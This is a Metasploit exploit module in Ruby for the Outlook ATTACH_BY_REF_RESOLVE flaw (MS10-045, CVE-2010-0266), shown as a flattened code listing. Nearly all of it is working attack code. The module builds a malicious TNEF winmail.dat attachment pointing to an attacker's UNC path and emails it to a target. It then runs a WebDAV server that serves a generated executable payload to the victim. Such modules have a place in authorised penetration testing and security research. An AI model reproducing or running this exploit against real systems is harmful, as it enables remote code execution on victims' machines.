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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 | ## # $Id: ms10_045_outlook_ref_resolve.rb 10389 2010-09-20 04:38:13Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking # This module acts as an HTTP server include Msf::Exploit::Remote::HttpServer::HTML # This module also sends email include Msf::Exploit::Remote::SMTPDeliver # This module generates an EXE include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Outlook ATTACH_BY_REF_RESOLVE File Execution', 'Description' => %q{ It has been discovered that certain e-mail message cause Outlook to create Windows shortcut-like attachments or messages within Outlook. Through specially crafted TNEF streams with certain MAPI attachment properties, it is possible to set a path name to files to be executed. When a user double clicks on such an attachment or message, Outlook will proceed to execute the file that is set by the path name value. These files can be local files, but also file stored remotely for example on a file share. Exploitation is limited by the fact that its is not possible for attackers to supply command line options. }, 'Author' => 'Yorick Koster <yorick@akitasecurity.nl>', 'Version' => '$Revision: 10389 $', 'References' => [ ['MSB', 'MS10-045'], ['CVE', '2010-0266'], ['OSVDB', '66296'], ['BID', '41446'], ['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'], ], 'Stance' => Msf::Exploit::Stance::Passive, 'Payload'=> { 'Space' => 1024, 'Compat'=> { 'ConnectionType' => '-bind -find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Jun 01 2010', 'DefaultTarget'=> 0 )) register_options( [ # # Email options # OptString.new('MESSAGECLASS', [false, 'Message Class value', 'IPM.Document.txtfile']), OptString.new('EXTENSION', [false, 'The extension used in the fake file name', 'jpg']), OptString.new('VERBOSE', [ false, 'Display verbose information', "true"]), # # WebDAV options # OptPort.new('SRVPORT', [ true,"The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true,"The URI to use (do not change).", "/" ]), OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) ], self.class) deregister_options('SSL', 'SSLVersion') # Just for now end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_error("Unexpected request method encountered: #{request.method}") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /\.exe$/i) print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..." return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end print_status "Sending 404to #{cli.peerhost}:#{cli.peerport} ..." resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}") headers = { 'MS-Author-Via' => 'DAV', # 'DASL'=> '<DAV:sql>', # 'DAV' => '1, 2', 'Allow' => 'OPTIONS, GET, PROPFIND', 'Public'=> 'OPTIONS, GET, PROPFIND' } resp = create_response(207, "Multi-Status") resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri= "http://#{my_host}/" if path =~ /\.exe$/i # Response for the DLL print_status("Sending EXE multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_dll}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) return end if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") resp = create_response(404, "Not Found") resp['Content-Type'] = 'text/html' cli.send_response(resp) return else print_status("Sending 301 for #{path} ...") resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | subdirectory = %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | files = %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{@exploit_exe}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | if request["Depth"].to_i > 0 if path.scan("/").length < 2 body << subdirectory else body << files end end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def exploit unc = nil if (datastore['UNCHOST']) unc = datastore['UNCHOST'].dup else unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']) end @exploit_unc_host = unc @exploit_unc= "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\" @exploit_exe= rand_text_alpha(rand(8)+4) + ".exe" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' end msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] body = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n") content_type = 'application/ms-tnef' content_disposition = "attachment; name=\"winmail.dat\"" msg.add_part(body, content_type, 'base64', content_disposition) print_status("Sending message to the target...") send_message(msg.to_s) print_status("Creating WebDAV service and waiting for connections...") super end def create_tnef_exploit filename = Rex::Text.rand_text_alpha(8) << '.' << (datastore['EXTENSION'] || 'png') << "\x00" message_class = (datastore['MESSAGECLASS'] || 'IPM.Document.jpegfile') << "\x00" pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}\x00" print_status("Using UNC path: #{pathname}") # start of TNEF stream sploit = create_tnef_header # MAPI message properties msgprops = "\x04\x00\x00\x00" # Count 4 msgprops << "\x0b\x00" # Type PT_BOOLEAN msgprops << "\x1b\x0e" # Name PR_HASATTACH msgprops << "\x01\x00\x00\x00" # Value data 1 msgprops << "\x1e\x00" # Type PT_STRING msgprops << "\x1a\x00" # Name PR_MESSAGE_CLASS msgprops << "\x01\x00\x00\x00" # Count values 1 msgprops << [message_class.length].pack("V") # Value length msgprops << mapi_pad(message_class) # Value data msgprops << "\x03\x00" # Type PT_INT msgprops << "\xfe\x0f" # Name PR_OBJECT_TYPE msgprops << "\x05\x00\x00\x00" # Value data MAPI_MESSAGE (5) msgprops << "\x03\x00" # Type PT_INT msgprops << "\x07\x0e" # Name PR_MESSAGE_FLAGS msgprops << "\x12\x00\x00\x00" # Value data 0x00000012 # add properties to TNEF stream sploit << "\x01" # Level type LVL_MESSAGE sploit << "\x03\x90" # Name attMAPIProps (0x9003) sploit << "\x06\x00" # Type atpByte (0x0006) sploit << [msgprops.length].pack('V') # Len sploit << msgprops sploit << tnef_checksum(msgprops) # start of TNEF attachment sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x02\x90" # Name attAttachRenddata (0x9002) sploit << "\x06\x00" # Type atpByte (0x0006) sploit << "\x0e\x00\x00\x00" # Len 0x0000000e sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00" sploit << "\x3d\x04" # Checksum # MAPI attachment properties attprops = "\x04\x00\x00\x00" # Count 4 attprops << "\x1e\x00" # Type PT_STRING attprops << "\x07\x37" # Name PR_ATTACH_LONG_FILENAME attprops << "\x01\x00\x00\x00" # Count values 1 attprops << [filename.length].pack('V') # Value length attprops << mapi_pad(filename) # Value data attprops << "\x1e\x00" # Type PT_STRING attprops << "\x0d\x37" # Name PR_ATTACH_LONG_PATHNAME attprops << "\x01\x00\x00\x00" # Count values 1 attprops << [pathname.length].pack('V') # Value length attprops << mapi_pad(pathname) # Value data attprops << "\x03\x00" # Type PT_INT attprops << "\x05\x37" # Name PR_ATTACH_METHOD attprops << "\x03\x00\x00\x00" # Value data ATTACH_BY_REF_RESOLVE (3) attprops << "\x03\x00" # Type PT_INT attprops << "\xfe\x0f" # Name PR_OBJECT_TYPE attprops << "\x07\x00\x00\x00" # Value data MAPI_ATTACH (7) # add properties to TNEF stream sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x05\x90" # Name attAttachment (0x800f) sploit << "\x06\x00" # Type atpByte (0x0006) sploit << [attprops.length].pack('V') # Len sploit << attprops sploit << tnef_checksum(attprops) return sploit end def create_tnef_header # TNEF Header buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 buf << "\x00\x00" # Key # TNEF Attributes buf << "\x01" # Level type LVL_MESSAGE buf << "\x06\x90" # Name attTnefVersion (0x9006) buf << "\x08\x00" # Type atpDword (0x0008) buf << "\x04\x00\x00\x00" # Len 0x00000004 buf << "\x00\x00\x01\x00" buf << "\x01\x00" # Checksum buf << "\x01" # Level type LVL_MESSAGE buf << "\x07\x90" # Name attOemCodepage (0x9007) buf << "\x06\x00" # Type atpByte (0x0006) buf << "\x08\x00\x00\x00" # Len 0x00000008 buf << "\xe4\x04\x00\x00\x00\x00\x00\x00" buf << "\xe8\x00" # Checksum buf << "\x01" # Level type LVL_MESSAGE buf << "\x0d\x80" # Name attPriority (0x800d) buf << "\x04\x00" # Type atpShort (0x0004) buf << "\x02\x00\x00\x00" # Len 0x00000002 buf << "\x02\x00" buf << "\x02\x00" # Checksum return buf end def tnef_checksum(buf = '') checksum = 0; buf.each_byte { |b| checksum += b } return [checksum % 65536].pack('v') end def mapi_pad(buf = '') length = (buf.length + 3) & ~3 (buf.length..(length - 1)).each { buf << "\x00" } return buf end end |
体验盒子
